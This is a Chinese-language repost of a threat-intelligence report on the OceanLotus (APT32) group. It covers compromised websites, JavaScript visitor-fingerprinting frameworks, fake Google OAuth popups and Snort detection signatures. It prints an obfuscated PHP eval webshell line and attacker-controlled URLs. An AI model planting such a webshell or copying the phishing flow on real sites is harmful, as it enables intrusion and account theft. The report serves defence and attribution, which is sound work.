记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

OceanLotus(海莲花)最新分析报告:越南政府背景,瞄准东盟、亚洲国家、媒体、人权组织和社会团体的APT组织

2017-11-10 13:10

背景介绍

2017年5月,网络安全公司Volexity确定并开始跟踪一个攻击非常复杂、范围非常广泛的大规模网络监控和攻击活动,威胁活动的目标是几个亚洲国家、东盟组织、与媒体有关的个人和组织、人权组织和社会团体。这些攻击通常会战略性的入侵目标网站,该组织在几个引人注目的东盟峰会上都有非常积极活跃的表现。

Volexity将这一系列的网络袭击活动归因于高级持续性威胁(APT)组织:OceanLotus。


*注释:在国内被称为“海莲花”,2015年首次由360 天眼实验室发现并发布了相关的研究报告《OceanLotus(海莲花)APT报告摘要》)。


OceanLotus,也称为APT32,被认为是与越南政府有关的,具备丰厚的资源,能够利用先进的工具、战术和程序(TTP)针对特定的目标发动复杂的、先进的网络攻击。

Volexity与一些人权组织和社会团体有紧密的合作关系,因此有机会直接观察并研究与OceanLotus有关的各种攻击活动,本报告就是在观察和研究了一个非常有针对性的攻击之后编写而成的。

关键发现

观察并研究OceanLotus组最近以及正在进行的网络攻击活动,可以发现如下几个主要的特征:

  • 战略性的入侵目标网站,进而实施大规模的信息收集和数字化分析;
  • 超过100个与政府、军事、人权组织、社会团体、媒体、国家石油勘探有关的个人和组织的网站受到影响,攻击范围广泛,覆盖了全球多个地区;
  • 拥有一份白名单,只针对特定的个人和组织作为攻击目标;
  • 拥有定制的Google APPs,旨在通过访问受害者的Gmail帐户窃取电子邮件和联系人等信息;
  • 利用JavaScript战略性和有针对性的修改被入侵网站的视图,利用社会工程学的方式向访问网站的用户安装恶意软件,或者窃取电子邮件账户凭据等敏感信息;
  • 大型分布式网络攻击的基础设施由多个国家的众多主机提供商提供;
  • 许多攻击者创建了诸多域名,模仿一些合法的在线服务和组织,被冒充的公司包括:AddThis、Disqus、Akamai、百度、Cloudflare、Facebook、Google 及其他;
  • 广泛的利用Let’s Encrypt公司颁发的 SSL/TLS证书;
  • 使用了多个后门程序,如 Cobalt Strike 及其他工具,这些恶意工具被认为是OceanLotus单独开发并使用的。

研究人员认为这一次袭击行动的规模足以比肩俄罗斯知名的黑客组织Turla。值得注意的是,尽管OceanLotus已经发动过大规模的、范围广泛的、先进且复杂的攻击,但是该组织所造成的威胁在很大程度上被忽视了。2016年底,OceanLotus就成功入侵了几个高度知名的网站,观察该组织的攻击模式,具有以下特征:

  • 对入侵的网站具有战略性的考虑(选择最终攻击目标更可能感兴趣的网站);
  • 为保持对入侵网站的持久性控制,会添加一个或多个webshell后门;
  • 利用JavaScript开发Webshell的功能模块;
  • 恶意的JavaScript通过HTTP或HTTPS向攻击者控制的域名进行通信,通常会加载一两个不同的OceanLotus定制的框架;
  • OceanLotus 开发的JavaScript框架被设计用于跟踪、描绘并定位被入侵网站的访客;
  • 攻击者利用特殊的JavaScript对感兴趣的网站访问者进行标注,目的是感染目标用户的系统,或窃取他们的电子邮件帐户。

除此之外,攻击者利用一些组织的受感染的网站实施有针对性的鱼叉式网络钓鱼活动,尝试在目标系统上安装后门程序。

被入侵的网站

截止到目前为止,可以肯定OceanLotus已经战略性地入侵了超过100个网站。这些受损网站绝大多数都属于对越南政府持批评态度的越南组织和个人,还另外一些受损网站则属于与越南或菲律宾大陆相接壤的三个国家的政府机构或附属组织。

越南国内被入侵的网站数量众多,目前被发现的已超过80个,大多属于个人或小团体,受损网站的类型总结如下:

  • 人权组织
  • 社会团体
  • 新闻/媒体(英语和越南语)
  • 个人博客
  • 宗教

越南周边国家及东盟被入侵的网站的信息,列表如下:

分析JavaScript框架

被攻破的网站会利用恶意的JavaScript跟踪网站的访客,并对他们进行描绘和指纹识别。研究人员发现OceanLotus已经开发出了两种不同的JavaScript框架来实现他们的攻击任务,这里姑且用“框架A”和“框架B”来代表这两种JavaScript框架。在较少数的攻击活动中,被入侵的网站仅加载了框架A或框架B。每个框架都绑定了对应的多个域名和IPs。

(一)框架A

在有限数量的被入侵站点上观察到了框架A,访问框架A的初始URLs的常用格式如下所示:

cloudflare-api[.]com/ajax/libs/jquery/2.1.3/jquery.min.js?s=1&v=72580

其中,参数“V”的值是独特的,可能是受害者网站的标识,从Script脚本的分析结果来看,这个参数并不是必须的。该脚本会访问asean.org这个网站,下列代码被附加到由东盟网站加载的合法JavaScript中:

框架A,脚本1 :跟踪主机

第一个被分发的脚本包含几个功能,如MD5函数、Base64解码、加载附加数据等,这个脚本的目标似乎是定义“跟踪不同请求的主机”需要的所有内容。

这个脚本也定义了在其他部分中会使用到的一部分变量的代码,基于主机的信息从初始请求的UA中获取到基于主机的相关信息:

然后它将加载第二个JavaScript文件:

其中,“h1”和“h2”都是MD5散列值(从主机发出的请求中获取到一些信息的)。第一个散列值“h1”是从浏览器收集的各种信息的MD5值拼接到一起的,如下图所示:

第二散列值“h2”也是一个MD5值,但它是由屏幕的高度和宽度、时区、插件、MIME类型和语言等信息的散列值拼接到一起的,如下图所示:

加密函数对passed字符串和key字符串进行简单的迭代,并添加其ASCII值。用于加密和解密的Python脚本如下图所示:

框架A,脚本2 :剖析

第二脚本首先会定义一个browser_hash变量,这个变量是由h1和h2的前10个字符组成的,中间用“-”分隔开。然后这个脚本将发送三个GET请求,每一个请求的查询字符串中都包含一个d参数,其中有一些加密和Base64编码的数据。

第一个请求发送“Browser Plugins”(浏览器插件),信息收集功能的部分代码示例如下:

第二个请求发送“Extended Browser Info”(扩展浏览器信息),信息收集功能的部分代码示例如下:

最后一个请求发送“WebRTC”信息,目的时获取主机的IP地址,代码示例如下:

(二)框架B

在大多数被入侵的站点上,都可以找到框架B的痕迹。访问框架B的初始URLs只是简单的引用JavaScript(.js)文件(位于OceanLotus控制的站点上)。研究发现框架B中的URLs网址实际上并不重要,只要请求中文件的扩展名以.js结尾且包含了一个referer,那么就会返回一个JavaScript。

观察被入侵的网站,东盟的一些受损网站上同时包含了框架A和框架B,这种情况比较少见。下面的代码被添加到由东盟网站加载的合法JavaScript中:

这一脚本的作用是从如下URL中加载JavaScript:

http://ad.jqueryclick[.]com/assets/adv.js

框架B,脚本1 –跟踪主机

框架B与框架A收集的信息类似,但跟踪主机的方式不同。交付的初始脚本根据请求中的UA确定的主机操作系统的不同而有所变化。脚本被加载后,首先会发送一个GET请求:https://health-ray-id[.]com/robot[.]txt,根据返回的UUID的值,来决定后续发送的请求是zuuid还是client_zuuid.it,这些信息会保存在本地存储中(受损网站的x00Sync 值里),之后脚本会生成两个GET请求。

请求1:

GET /api/<BASE64_ENCODED_DATA>/adFeedback.js

Base64数据解码是一个JSON字符串,其中包含了包含跟踪搭配的主机相关的信息,例如,从health-ray-id.com中返回的UUID/zuuid的信息如下所示:

{“uuid”:”62d096b35e82547b6a12607c2820f8e0″,”zuuid”:”ca3a8d02-a0f5-4686-9f6b-cab4a17a9e2b”,”hash”:””}

UUID值(在以后的请求与client_uuid的值相同)也是由脚本生成并存储在一个名为___APISID的Cookie中。它是利用fingerprintjs2库生成的,并创建了一个基于基于浏览器信息的哈希,这是另一种跨请求跟踪用户的方法。fingerprintjs2库和其他一些合法的JS库(包括读jQuery核心库和其他一些能够完成读取/存储cookie、收集时区数据等功能的库)通常是从CDN的URL下载到的,被保存到本地存储的变量中,供其他脚本使用。

如果客户端不在OceanLotus的白名单中,则这个请求只返回一行用于设置时间戳变量的JavaScript。如果客户端在白名单中,则合法网站的顶部会出现一个弹出窗口(会慢慢消失)。在最近的一次攻击活动中,弹出窗口与Google相关,会将用户重定向到Google的OAuth页面,精心设计的虚假页面是为了诱骗用户向一个恶意的Goole APP输出账户凭据,相关细节后文会进行阐述。

请求2:

GET /sync/<BASE64 _ENCODED_DATA/img_blank.gif

这一请求包含两条信息:历史部分和导航部分,历史部分包含有关JavaScript被加载的受损站点的信息,还包含一些主机相关的信息(如UA、时间和时区,和IP地址)。

第一次请求时,导航部分是空白的。当脚本第一次运行时,它将当前时间记录在了另一个本地存储变量中,24小时后,才会将信息填充到导航部分。此外,它还会更新存储的时间戳,这意味着及时受损站点被多次访问,但导航部分中的大部分数据每天只会发送一次。导航部分的信息,有很大一部分与架A收集到的信息类同,如:MIME类型、插件和屏幕信息。脚本将这些收集到的信息发送到OceanLotus服务器,部分示例如下:

框架B,脚本2:命中白名单的系统出现弹出窗口

前文提到过,如果一个系统不在白名单内,GET 请求(/api/<BASE64_ENCODED_DATA>/adFeedback.js)会返回一个时间戳变量;如果一份系统在白名单内,则会被分发一个新的脚本,这个脚本的部分功能是请求下载一些额外的配置数据,如下图所示:

请求的域名来自SAPIS_ID Cookie信息(它是由第一个脚本设置的,在导航部分可以看到SAPIS_ID cookie的例子)。在存储之前,它被一分为二,两个子字符串,然后被Base64编码。之后通过调用e.fn_getjson()函数发出一个请求,示例如下:

GET /connect.js?timestamp=59ba12f2eb1e240cd9431624&code=rtp&s1=64c6e32b951adc4f3d5661dba2330141

这会返回一个JSON配置信息,如下所示:

利用getConfigs()函数存储并访问这些信息,供JS的不同模块执行不同的操作。

最终,脚本在受损站点上弹出一个窗口,提示内容被阻塞,并请求访问者继续登录。相关页面的代码示例如下图所示,其中使用postshow()和postdown()函数跟踪活动进展(向图中的URLs发送GET请求)。一旦用户点击了其中一个按钮,就会重定向到应用程序的登录页面。

针对Google账户的攻击

由于Volexity与OceanLotus白名单内的组织有合作关系,因此有机会直接观察到OceanLotus两种不同的攻击方式,企图欺骗目标用户提供他们的谷歌账户。

OceanLotus试图通过一个弹窗指导潜在的受害者对一个恶意的Google应用程序提供OAuth授权。一旦一个用户被标记为目标用户,在他们访问受损网站时,每24小时就会得到一个弹窗。这个弹出窗口会从合法网站的顶部慢慢退出,这样做似乎也符合常规。

两个不同的弹窗的屏幕截图,如下所示:

版本1:提示内容被锁定

版本2:Chrome登录页面

无论用户点击哪个选项,都会被重定向到一个OceanLotus定制的恶意的Google 应用程序,需要提供OAuth授权访问,截图如下:

OceanLotus定制的谷歌应用程序的OAuth授权页面

如果潜在受害者选择“ALLOW”(允许),那么这个OceanLotus定制的谷歌应用程序会记录用户的凭据并立即访问它,进而访问该账户的所有电子邮件和通讯录信息,这是OceanLotus常用的数字监控手段,在这里,强烈建议所有可能遭遇到OceanLotus这类攻击的用户提高警惕,并加强防御措施。

OceanLotus也尤其擅长利用合法软件更新这种社会工程学的攻击手段,如假冒Internet Explorer、 Chrome和 Firefox等合法软件的更新。研究人员观察到OceanLotus通过鱼叉式网络钓鱼的方式向木目标组织发起攻击,这些活动中使用了一些相同的恶意软件基础设施。在一些攻击活动中,Amazon S3 buckets被用来分发的恶意的JavaScript框架(框架B的一部分),或者直接从鱼叉式网络钓鱼活动中的恶意链接进行分发。

  • s3.amazonaws.com
  • download-attachments.s3.amazonaws.com

在OceanLotus的活动中,威胁演员还利用了多个自定义的恶意软件家族和Cobalt Strike工具,后边会列出这些观察到的恶意软件样本的细节。

向被入侵的网站植入后门

观察并分析这些被入侵的网站,可以知道OceanLotus组织的入侵途径和持久化方式。

首次入侵

目前已知的,OceanLotus入侵网站的方式有两种:

  • 直接使用用户帐户访问网站内容管理系统(CMS)
  • 利用过时的插件和/或CMS组件的漏洞

尚未知得知攻击者是如何获取到受害者在网站上的登录凭据的,但考虑到OceanLotus组织的TTPs,这种可能性是存在的,途径可能是社会工程学(网络钓鱼)、向系统植入后门程序、安装键盘记录器等,也或许只是通过简单的猜测或暴力破解。一些越南的受损网站运行在谷歌的博客平台,因此这些网站的Google账户凭据可能已经被窃取。在漏洞利用的案例中,某些受损网站的CMS软件往往都是过时的,核心组件以及添加的插件都存在远程可利用的漏洞,从而导致网站被攻破。

持久性控制

在所有的案例中,OceanLotus组织的攻击者都会想受损网站添加PHP webshells。在大多数情况下,攻击者会添加一个新文件,文件被精心设计并放置到Web目录中;少数情况下,攻击者还会向Web服务器上一个现有的合法文件中增添一些PHP代码,如下所示:

if(@$_POST[‘<variable-1>’]&&@md5(md5($_POST[‘<variable-2>’]))=='<md5 hash>’) { $x=”\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65″;@eval($x($_POST[‘<variable-1>’]));exit();

这个Webshell允许攻击者直接使用Web服务器的系统账户运行相关的命令,与经典的“中国菜刀”类似,这里不再累述。OceanLotus组织的攻击者利用这些Webshell与目前系统进行交互,并更新受损网站的JS代码,除此之外,研究人员怀疑攻击者似乎利用了一个潜在的自动化流程,会定期检查受害者系统上的Webshell的运行状态。

基础设施

有一点是非常明确的,那就是OceanLotus拥有庞大的资源,攻击活动中使用到的基础设施范围和规模都相当庞大。

OceanLotus活动中的基础设施具有一些独特的特征,如果一个特定的系统处于他们的控制之下,很容易就能被识别出来。Volexity的研究人员识别出了大量的OceanLotus的基础设施,但不是在它们进行攻击时识别出来的,而是通过其他指标确认了它们与OceanLotus组织有关联。

将目前已经观察到的与OceanLotus组织有关联的基础设施进行整理(如下表所示),其中,Active(活跃的)部分,代表这些基础设施是在其被用于攻击活动时直接被观察到的;Inactive/Unknown(无效的/未知的)部分,意味着这些基础设施是研究者通过其他途径发现的(如该主机名在过去的其他攻击中出现过,但目前已经不在使用,或者不是在OceanLotus的活动中直接发现的)。

针对OceanLotus的防御措施

针对OceanLotus组织活动的特点,对于普通用户而言,可以采取以下几种防御措施:

  • 谨防社会工程学攻击,在访问网站时,应仔细确认域名信息,不要随意点击邮件中的可疑链接或网站中的可疑跳转;
  • 为个人电脑或服务器安装防病毒和恶意软件检测软件;
  • 建议用户开启Google账户的二次验证,事实证明,这是一种有效的保护Google账户免受损害的方法;
  • 警惕恶意软件程序+社会工程学相结合的攻击,注意识别合法软件的更新程序,小心Google应用程序OAuth授权之类的操作,只授权给合法的和已知的Google应用程序;

对于那些Google账户可能已经遭受侵害的用户,可以通过以下URLs来做验证:

(1)验证那些谷歌应用程序能访问自己的Google帐户:

https://myaccount.google.com/u/1/permissions

这个链接将列出访问该帐户的谷歌应用程序及其权限级别。

(2)进一步验证那些谷歌应用程序和设备访问过自己的Google帐户:

https://mail.google.com

登录并滚动到页面底部,单击“Details“(详细信息)查看最近访问该帐户的相关信息的列表。

(3)如果发现有未经授权应用程序或地址,建议安装Google官方指南做进一步检测:

https://support.google.com/mail/answer/7036019

对于网站管理员而言,有几条关键的建议可以参考:

  • 使用强密码,不管是CMS还是系统认证;
  • 严格控制系统和CMS功能的访问权限(限制授权的用户、ACL等);
  • 可能的话,建议实施双因素认证(2FA);
  • 确保操作系统、CMS软件和插件能够及时更新;
  • 禁用或删除不再需要或无法识别的帐户;

网络签名

除了域名和IP地址指标外,下面的网络签名可以用来检测各种OceanLotus组织的活动:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”Volex – OceanLotus JavaScript Load (connect.js)”; flow:to_server,established; content:”GET”; http_method; content:”connect.js?timestamp=”; http_uri; sid:2017083001; )

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:”Volex – OceanLotus JavaScript Fake Page URL Builder Response”; flow:to_client,established; file_data;content:”{|22|link|22|:|22|http”; depth:13; file_data; content:”|22|load|22|”; sid:2017083002; rev:1;)

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:”Volex – OceanLotus System Profiling JavaScript (linkStorage.x00SOCKET)”; flow:to_client,established; file_data; content:”linkStorage.x00SOCKET”; sid:2017083003;)

结论

OceanLotus黑客组织能够并正在迅速提升自己的能力,资源丰富,足以发动“最复杂的”APT攻击,是目前世界上“最先进”黑客组织之一。尽管没有确切的证据,但鉴于OceanLotus攻击活动的广泛性,其背后极可能是由政府支持的;根据OceanLotus活动的目标的针对性及具体的特征,其很可能是由越南政府操控的。因此有理由相信,OceanLotus已经迅速发展一个高度熟练的、有组织的、在网络空间极具威胁力的APT组织。

知识来源: www.mottoin.com/106928.html

阅读:134038 | 评论:0 | 标签:安全报告 APT攻击 OceanLotus Volexity 海莲花

想收藏或者和大家分享这篇好文章→复制链接地址

“OceanLotus(海莲花)最新分析报告:越南政府背景,瞄准东盟、亚洲国家、媒体、人权组织和社会团体的APT组织”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云